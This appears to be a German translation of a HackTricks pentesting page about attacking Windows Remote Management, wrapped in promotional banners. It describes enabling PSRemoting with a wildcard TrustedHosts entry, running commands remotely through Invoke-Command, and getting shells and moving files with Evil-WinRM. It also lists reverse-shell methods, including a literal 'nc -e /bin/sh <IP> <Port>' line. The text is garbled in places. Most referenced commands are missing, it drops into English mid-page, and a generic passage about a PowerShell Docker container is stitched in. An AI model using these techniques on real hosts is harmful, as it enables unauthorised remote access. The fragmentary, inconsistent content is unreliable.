<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) wird von Microsoft als **Protokoll** hervorgehoben, das die **ferngesteuerte Verwaltung von Windows-Systemen** über HTTP(S) ermöglicht und dabei SOAP nutzt. Es wird grundlegend von WMI unterstützt und präsentiert sich als HTTP-basierte Schnittstelle für WMI-Operationen.
Das Vorhandensein von WinRM auf einer Maschine ermöglicht eine einfache Fernverwaltung über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM aktiv ist, wird empfohlen, auf das Öffnen bestimmter Ports zu prüfen:
Um PowerShell für WinRM zu konfigurieren, kommt das `Enable-PSRemoting`-Cmdlet von Microsoft zum Einsatz, das den Computer für die Annahme von Remote-PowerShell-Befehlen einrichtet. Mit erhöhtem PowerShell-Zugriff können die folgenden Befehle ausgeführt werden, um diese Funktionalität zu aktivieren und einen beliebigen Host als vertrauenswürdig zu kennzeichnen:
Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur Konfiguration von `trustedhosts`, ein Schritt, der aufgrund seiner Auswirkungen vorsichtige Überlegungen erfordert. Es wird auch darauf hingewiesen, dass es möglicherweise erforderlich ist, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Angreiferrechner zu ändern.
Um die Einrichtung Ihrer Angriffsmaschine zu überprüfen, wird der Befehl `Test-WSMan` verwendet, um zu prüfen, ob das Ziel WinRM ordnungsgemäß konfiguriert hat. Durch Ausführen dieses Befehls sollten Sie Details zur Protokollversion und zur WSMID erhalten, die auf eine erfolgreiche Konfiguration hinweisen. Im Folgenden finden Sie Beispiele, die die erwartete Ausgabe für ein konfiguriertes Ziel im Vergleich zu einem nicht konfigurierten Ziel zeigen:
- Im Gegensatz dazu würde bei einem Ziel, das nicht für WinRM konfiguriert ist, keine solche detaillierte Information angezeigt, was auf das Fehlen einer ordnungsgemäßen WinRM-Konfiguration hinweist.
Sie können auch **einen Befehl Ihrer aktuellen PS-Konsole über**_**Invoke-Command**_**ausführen**. Angenommen, Sie haben lokal eine Funktion namens _**enumeration**_ und möchten sie auf einem Remote-Computer ausführen, können Sie Folgendes tun:
To execute a script on a target machine using WinRM, you can use the `Invoke-Command` cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote computers.
Replace `<target>` with the IP address or hostname of the target machine, and `<script>` with the script you want to execute.
For example, to execute a PowerShell script named `script.ps1` on a target machine with the IP address `192.168.1.100`, you would use the following command:
Um eine Reverse-Shell zu erhalten, können Sie verschiedene Techniken verwenden. Hier sind einige gängige Methoden:
1.**Netcat**: Verwenden Sie den Befehl `nc` oder `ncat`, um eine Verbindung zu einem Remote-Server herzustellen und eine Reverse-Shell zu erhalten. Beispiel: `nc -e /bin/sh <IP> <Port>`
2.**Metasploit**: Verwenden Sie das Metasploit-Framework, um eine Reverse-Shell zu generieren. Sie können den `msfvenom`-Befehl verwenden, um eine Payload zu erstellen und dann den `exploit/multi/handler`-Modul verwenden, um eine Verbindung zu empfangen.
3.**PowerShell**: Verwenden Sie PowerShell, um eine Reverse-Shell zu erhalten. Sie können den `Invoke-PowerShellTcp`-Befehl verwenden, um eine Verbindung zu einem Remote-Server herzustellen und eine Shell zu erhalten.
4.**Python**: Verwenden Sie Python, um eine Reverse-Shell zu erhalten. Sie können den `socket`-Modul verwenden, um eine Verbindung zu einem Remote-Server herzustellen und eine Shell zu erhalten.
Stellen Sie sicher, dass Sie die erforderlichen Berechtigungen haben, um eine Reverse-Shell zu erhalten, und dass Sie die richtigen IP-Adresse und Portnummer angeben, um eine Verbindung herzustellen.
`enter-pssession : Die Verbindung mit dem Remoteserver 10.10.10.175 ist mit der folgenden Fehlermeldung fehlgeschlagen: Der WinRM-Client kann die Anforderung nicht verarbeiten. Wenn das Authentifizierungsschema von Kerberos abweicht oder der Clientcomputer nicht zu einer Domäne gehört, muss der HTTPS-Transport verwendet werden oder die Zielmaschine muss zur Konfigurationseinstellung TrustedHosts hinzugefügt werden. Verwenden Sie winrm.cmd, um TrustedHosts zu konfigurieren. Beachten Sie, dass Computer in der TrustedHosts-Liste möglicherweise nicht authentifiziert sind. Weitere Informationen erhalten Sie, indem Sie den folgenden Befehl ausführen: winrm help config. Weitere Informationen finden Sie im Hilfethema about_Remote_Troubleshooting.`
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Evil-WinRM ist ein Werkzeug, das für die Pentesting-Phase entwickelt wurde und es ermöglicht, eine Remote-Verbindung zu einem Windows-Host über das WinRM-Protokoll herzustellen. Es bietet eine einfache und effektive Möglichkeit, auf Windows-Systeme zuzugreifen und diese zu übernehmen.
Nach der Installation können Sie eine Verbindung zu einem Windows-Host herstellen, indem Sie den Befehl `evil-winrm` gefolgt von der IP-Adresse des Ziels und den Anmeldeinformationen ausführen:
Sobald Sie eine Verbindung hergestellt haben, können Sie Befehle auf dem Zielhost ausführen. Verwenden Sie dazu den Befehl `shell`:
```plaintext
shell
```
Dadurch gelangen Sie in eine interaktive Shell, in der Sie Befehle wie auf einem lokalen Windows-System ausführen können.
#### Dateien übertragen
Mit Evil-WinRM können Sie auch Dateien zwischen Ihrem lokalen System und dem Zielhost übertragen. Verwenden Sie dazu den Befehl `upload` oder `download` gefolgt von den Pfaden der Dateien:
Evil-WinRM ist ein leistungsstarkes Werkzeug für die Pentesting-Phase, das Ihnen ermöglicht, eine Remote-Verbindung zu Windows-Hosts herzustellen und verschiedene Aktionen auszuführen. Es ist einfach zu installieren und zu verwenden, was es zu einer nützlichen Ressource für Hacker macht.
Um evil-winrm zum Verbinden mit einer IPv6-Adresse zu verwenden, erstellen Sie einen Eintrag in der Datei _**/etc/hosts**_, indem Sie einem Domainnamen die IPv6-Adresse zuweisen, und verbinden Sie sich mit dieser Domain.
Um eine PS-Docker-Maschine zu verwenden, müssen Sie zunächst sicherstellen, dass Docker auf Ihrem System installiert ist. Sie können dies überprüfen, indem Sie den Befehl `docker version` ausführen.
Sobald Docker installiert ist, können Sie eine PS-Docker-Maschine erstellen, indem Sie den Befehl `docker run -it mcr.microsoft.com/powershell` ausführen. Dadurch wird eine neue Containerinstanz gestartet, die die PowerShell-Umgebung enthält.
Um auf den Container zuzugreifen, verwenden Sie den Befehl `docker exec -it <container-id> pwsh`. Dadurch wird eine interaktive Sitzung mit der PowerShell im Container gestartet.
Sie können nun PowerShell-Befehle innerhalb des Containers ausführen, um verschiedene Aufgaben auszuführen, z. B. das Durchführen von Netzwerkservices-Pentests.
Bitte beachten Sie, dass das Verwenden einer PS-Docker-Maschine bestimmte Voraussetzungen erfordert und Sie über entsprechende Kenntnisse verfügen sollten, um sie sicher und effektiv zu nutzen.
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.